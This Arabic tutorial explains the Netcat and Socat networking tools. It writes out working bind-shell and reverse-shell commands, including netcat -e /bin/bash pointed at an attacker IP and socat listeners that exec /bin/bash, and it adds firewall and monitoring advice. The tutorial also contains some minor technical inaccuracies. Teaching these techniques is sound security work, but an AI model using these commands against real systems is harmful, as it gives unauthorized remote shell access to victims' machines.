
شرح اداة Netcat
أداة Netcat هي أداة مفتوحة المصدر تستخدم لإنشاء اتصالات شبكية بين جهازين وتبادل البيانات بينهما. تدعم Netcat العديد من الوظائف مثل الاتصال بالمنافذ (Port Scanning) ونقل الملفات والتحكم بالأجهزة عن بعد والتواصل مع برامج الخادم والعميل.
تحتوي أداة Netcat على العديد من الخيارات والخصائص التي يمكن استخدامها لتحديد نوع الاتصال والبيانات المراد تبادلها وتفاصيل أخرى. وفيما يلي بعض الخيارات الشائعة لأداة Netcat:
- l- : هذا الخيار يستخدم لإنشاء اتصال استماع على جهاز معين، حيث يقوم Netcat بالاستماع إلى المنفذ المحدد للانتظار على اتصالات وحفظ أي بيانات تم استلامها.
- p- : يستخدم هذا الخيار لتحديد المنفذ الذي يجب استخدامه في الاتصال.
- e- : يستخدم هذا الخيار لتشغيل الأمر الذي يتم تحديده عند الاتصال، ويمكن استخدامه لتشغيل البرامج على الجهاز الآخر.
- u- : يستخدم هذا الخيار لتحديد استخدام بروتوكول UDP بدلًا من بروتوكول TCP في الاتصال.
وفيما يلي بعض الأمثلة على استخدام أداة Netcat مع بعض الخيارات:
1. إنشاء اتصال TCP/IP بين جهازين:
nc -v <IP address> <port>
في هذا المثال، يتم استخدام الخيار v- لعرض الإخراج بشكل مفصل (verbose)، ويتم تحديد عنوان IP ومنفذ الجهاز المراد الاتصال به.
2. إنشاء اتصال UDP/IP بين جهازين:
nc -u -v <IP address> <port>
في هذا المثال، يتم استخدام الخيار u- لتحديد استخدام بروتوكول UDP، ويتم تحديد عنوان IP ومنفذ الجهاز المراد الاتصال به.
3. تحويل ملف بين جهازين:
nc -l <port> < file.txt nc <IP address> <port> > received_file.txt
في هذا المثال، يتم استخدام الخيار l- لإنشاء اتصال استماع على المنفذ المحدد، ويتم تحديد الملف الذي يجب إرساله في الاتصال الأول، ويتم استلام الملف في الاتصال الثاني وحفظه في ملف جديد.
4. إنشاء اتصال TCP/IP بين جهازين وتشغيل أمر معين على الجهاز الآخر:
nc -v <IP address> <port> -e /bin/bash
في هذا المثال، يتم استخدام الخيار e- لتشغيل الأمر `/bin/bash` عند الاتصال، ويتم تحديد عنوان IP ومنفذ الجهاز المراد الاتصال به.
شرح مفهوم bind shell, Netcat
“Bind shell” هو نوع من الاتصالات العكسية (reverse connections)، يستخدم عادة في عمليات الاختراق والاختراق الاختباري، يشير إلى إنشاء اتصال على مستوى الشبكة بين الضحية (victim) والمهاجم (attacker)، حيث يتم تنفيذ شل (shell) على الضحية ويتم التحكم فيه من قبل المهاجم.
في حالة bind shell، يتم تشغيل الشل (shell) على الضحية مع استخدام أداة مساعدة مثل Netcat، التي تعمل كخادم (server) على الضحية. يتم بعد ذلك استخدام Netcat على المهاجم كعميل (client) للاتصال بخادم Netcat المستضاف على الضحية.
لتوضيح الفكرة، يمكن استخدام الأمر التالي لإنشاء bind shell باستخدام Netcat على الضحية:
nc -l -p [port] -e /bin/bash
حيث:
- l- يعني “listen”، يشير إلى استماع Netcat على الضحية على البورت المحدد.
- p- يحدد رقم المنفذ (port) الذي سوف يتم الاستماع عليه.
- e- يحدد البرنامج الذي سيتم تشغيله عندما يتم إنشاء اتصال تفاعلي.
بعد تشغيل هذا الأمر، سيبدأ Netcat في الاستماع على البورت المحدد، وعندما يتم الاتصال بـNetcat من الجهاز المهاجم، يتم تشغيل shell على الضحية. لتوضيح ذلك، يمكن استخدام الأمر التالي على جهاز المهاجم:
nc [victim IP] [port]
حيث:
- victim IP: يحدد عنوان IP للضحية.
- port: يحدد رقم المنفذ (port) الذي يتم الاستماع عليه على الضحية.
بعد الاتصال، يمكن للمهاجم إدخال الأوامر التي يريدها على الضحية ويتم تنفيذها على الفور.
من الجدير بالذكر أن استخدام bind shell يمكن أن يتم تفاديه بتحديد إعدادات الجدار الناري (firewall) بشكل صحيح، ومن أجل تجنب هذا النوع من الهجمات، ينبغي تحديد البورتات المستخدمة بعناية ومتابعة الأنشطة المشبوهة على الشبكة.
شرح مفهوم reverse shell, Netcat
“Reverse shell” هو نوع آخر من اتصالات الشبكة العكسية (reverse connections)، وهو عكس الـ bind shell الذي تم شرحه في السؤال السابق. في reverse shell، يتم تنفيذ شل (shell) على جهاز المهاجم ويتم التحكم في الضحية عن بعد.
يتم إنشاء reverse shell عادة بواسطة الضحية التي تتصل بجهاز المهاجم. يتم تشغيل الشل (shell) على الضحية ويتم الاتصال بجهاز المهاجم الذي يعمل كخادم (server) باستخدام أداة مثل Netcat. يقوم جهاز المهاجم بالاستماع على منفذ معين وعندما يتم الاتصال به من الضحية، يمكن للمهاجم التحكم في جهاز الضحية وتنفيذ الأوامر عليه.
لتوضيح الفكرة، يمكن استخدام الأمر التالي لإنشاء reverse shell باستخدام Netcat على جهاز المهاجم:
nc -l -p [port] -vv
حيث:
- l- : يعني “listen”، يشير إلى استماع Netcat على جهاز المهاجم على المنفذ المحدد.
- p- : يحدد رقم المنفذ (port) الذي سوف يتم الاستماع عليه.
- vv- : يعني “very verbose”، يعرض معلومات مفصلة عن الاتصال.
بعد تشغيل هذا الأمر، يبدأ Netcat في الاستماع على المنفذ المحدد على جهاز المهاجم. يجب على المهاجم تحديد رقم المنفذ المستخدم وتحويل الاتصالات الواردة على هذا المنفذ إلى Netcat باستخدام أداة مثل Ncat أو Socat.
يمكن استخدام الأمر التالي على جهاز الضحية لإنشاء اتصال reverse shell مع جهاز المهاجم:
nc [attacker IP] [port] -e /bin/bash
حيث:
- attacker IP : يحدد عنوان IP لجهاز المهاجم.
- port : يحدد رقم المنفذ (port) الذي يتم الاتصال به على جهاز المهاجم.
- e- : يحدد البرنامج الذي سيتم تشغيله عند إنشاء الاتصال.
بعد الاتصال، يمكن للمهاجم إدخال الأوامر التي يريدها على جهاز الضحية وتنفيذها على الفور.
من الجدير بالذكر أن استخدام reverse shell يمكن أن يكون أكثر صعوبة في اكتشافه ومنعه من قبل الجدار الناري (firewall) نظرًا لأن الاتصال يتم من الضحية إلى المهاجم. ومن أجل تجنب هذا النوع من الهجمات، ينبغي تحديد البورتات المستخدمة بعناية ومتابعة الأنشطة المشبوهة على الشبكة.
شرح اداة socat
أداة Socat هي أداة مفيدة في نظام Linux لإنشاء اتصالات شبكية بين عمليتين أو أجهزة مختلفة. يمكن استخدامها لإنشاء اتصالات TCP/IP أو UDP/IP أو UNIX وغيرها. يمكن استخدام Socat كأداة لتنفيذ الاختبارات والتصحيح والتحليل والتحكم في الشبكات.
يمكن استخدام Socat مع العديد من الخيارات لتحديد سلوكها وأسلوب الاتصال. فيما يلي شرح لبعض الخيارات الأكثر شيوعًا:
- h- : يستخدم هذا الخيار لعرض المساعدة وقائمة الخيارات المتاحة.
- V- : يستخدم هذا الخيار لعرض رقم الإصدار الحالي لـ Socat.
- d- : يستخدم هذا الخيار لتفعيل وضع التصحيح لإظهار المخرجات التفصيلية للعمليات التي يقوم بها Socat أثناء التشغيل.
- v- : يستخدم هذا الخيار لتفعيل وضع التحليل النفسي لإظهار المخرجات الأكثر تفصيلاً من وضع التصحيح.
- x- : يستخدم هذا الخيار لتفعيل وضع عرض البيانات الستريم. وهذا يعني أن البيانات التي تم إرسالها واستقبالها سيتم عرضها أيضًا في المخرجات.
- i- : يستخدم هذا الخيار لتحديد ملف الإدخال الذي يجب استخدامه. يمكن استخدام هذا الخيار لإرسال بيانات من ملف إلى Socat.
- o- : يستخدم هذا الخيار لتحديد ملف الإخراج الذي يجب استخدامه. يمكن استخدام هذا الخيار لتوجيه بيانات Socat إلى ملف.
- T- : يستخدم هذا الخيار لتحديد وقت الانتظار قبل توقف Socat في حالة عدم وجود بيانات للقراءة أو الكتابة. يمكن استخدام هذا الخيار مع خيار t- لتحديد وقت الانتظار الأقصى.
- t- : يستخدم هذا الخيار لتحديد وقت الانتظار الأقصى قبل إيقاف تشغيل Socat في حالة عدم وجود بيانات للقراءة أو الكتابة. يمكن استخدام هذا الخيار مع خيار T- لتحديد وقت الانتظار قبل التوقف.
- u- : يستخدم هذا الخيار لتحديد استخدام بروتوكول UDP بدلاً من TCP.
- 4- : يستخدم هذا الخيار لتحديد استخدام IPv4 بدلاً من IPv6.
- 6- : يستخدم هذا الخيار لتحديد استخدام IPv6 بدلاً من IPv4.
- b- : يستخدم هذا الخيار لتحديد عنوان IP الذي يجب استخدامه للاتصال.
- c- : يستخدم هذا الخيار لتحديد العدد الأقصى للاتصالات المتزامنة التي يمكن لـ Socat إنشاؤها.
- e- : يستخدم هذا الخيار لتحديد الأمر الذي يجب تنفيذه قبل وبعد الاتصال. يمكن استخدام هذا الخيار لإطلاق برنامج أو سكريبت خارجي قبل وبعد التوصيل.
- hup- : يستخدم هذا الخيار لإرسال إشارة SIGHUP إلى Socat بعد توصيل الاتصال.
- ignoreeof- : يستخدم هذا الخيار لتجاهل إشارة EOF (نهاية الملف)، وهي إشارة ترسل عندما يصل المستخدم إلى نهاية الملف في وضع الإدخال.
- max-children- : يستخدم هذا الخيار لتحديد العدد الأقصى من العمليات الفرعية التي يمكن لـ Socat إنشاؤها.
- max-conn- : يستخدم هذا الخيار لتحديد الحد الأقصى لعدد الاتصالات التي يمكن لـ Socat إنشاؤها.
- reuseaddr- : يستخدم هذا الخيار لتمكين إعادة استخدام نفس العنوان والمنفذ بعد إغلاق الاتصال السابق.
- s- : يستخدم هذا الخيار لتحديد أن Socat يجب أن يعمل كخادم وينتظر اتصالات العملاء.
هذه بعض الخيارات الأساسية المتاحة في أداة Socat. يمكن استخدام العديد من الخيارات الأخرى لتحديد السلوك الدقيق لـ Socat وفقًا لاحتياجات المستخدم.
Socat Bind Shell
يُعتبَر هذا نوع من أنواع shell الذي يقوم من خلاله الجهاز المستهدف أو الضحية بفتح port أو منفذ خاص للتنصت و ينتظر الإتصال الخارجي من أي جهاز آخر بحيث يقوم المُخترق بالاتصال على machine من خلال المنفذ و بإعتبار أنه يٌمكن التنصت يٌمكن أيضًا تشغيل البرامج التنفيذية في الحاسوب مثل cmd.exe في نظام windows و ايضًا bin/bash في نظام linux, الأمر أصبح مفهومًا bind shell يجب أن يكون الضحية في وضع التنصت listening و يقوم المُخترق بالإتصال عليه.
socat -d -d tcp4-listen:4444,fork exec:/bin/bash
تم استخدام أداة Socat لتنصت على المنفذ 4444 مع إضافة تشغيل bin/bash المتحكم في نظام لينكس. وهذا يعني أن أي شخص يتصل بالجهاز من خلال هذا المنفذ 4444، فسيتم تشغيل ملف التنفيذي bin/bash.
socat -d -d - tcp-connect:192.168.1.2:4444
بعد إنشاء الاتصال بين جهاز الهجوم والضحية، يمكن تنفيذ أوامر Bash على نظام لينكس عبر المنفذ المفتوح. أما في نظام ويندوز، فيمكن استخدام برنامج cmd.exe بدلاً من bin/bash لتنفيذ الأوامر على الحاسوب المستهدف. ويمكن استخدام هذه الطريقة في هجمات الاختراق والاستيلاء على النظام بشكل غير مصرح به، ولذلك يجب على المستخدمين اتخاذ الإجراءات اللازمة لحماية أنظمتهم من مثل هذه الهجمات.

Socat Reverse Shell
يتم استخدام هذا النوع من الشل لإنشاء Reverse Shell، حيث يقوم الهاكر بإعداد حالة التنصت، ومن ثم يتوقع أن يتصل الضحية به. تُستخدم هذه الحالة كثيرًا في إنشاء البرامج الضارة والخبيثة بشكل عام، وتعتبر أداة Metasploit واحدة من أشهر الأدوات المستخدمة في هذا المجال. يتم إنشاء الـ Payloads الخاصة بالهجوم، وعند إرسال الـ Payloads، يتم تشغيل حالة التنصت داخل Metasploit، وهذا ما يعرف بـ Reverse Shell. يقوم الهاكر بوضع حالة التنصت، ويتوقع أن تتصل الضحية به، ويتم استخدام أداة Socat في هذه العملية.
socat -d tcp4-listen:4444 stdout
في هذا المثال، قمنا بعملية التنصت على المنفذ في جهاز الهاكر. يتم استخدام حالة التنصت للاستماع إلى المرور الذي يتم عبر المنفذ المحدد، وهذا يمكن أن يشمل البيانات، الاتصالات، والتفاعلات الأخرى التي تمر عبر المنفذ. يمكن استخدام حالة التنصت في أغراض شرعية مثل عمليات الاختبار الأمني وفحص الثغرات، ولكن يمكن استخدامها أيضًا في أغراض غير شرعية مثل الاختراق والتجسس. لذلك، يجب استخدام حالة التنصت بحذر وفقًا للأغراض الشرعية.
socat -d -d tcp-connect:192.168.1.9:4444 exec:/bin/bash
في هذا المثال، تم الاتصال بجهاز مع عنوان IP 192.168.1.9 وتم تشغيل shell المتحكم في نظام Linux (/bin/bash) عند الاتصال بالجهاز. وفي نظام Windows، يمكن استخدام الملف التنفيذي cmd.exe بدلاً من /bin/bash لتشغيل shell. يمكن الآن تنفيذ الأوامر في shell المتاحة للمستخدم.
للفهم اكثر تابع هذا الفيديو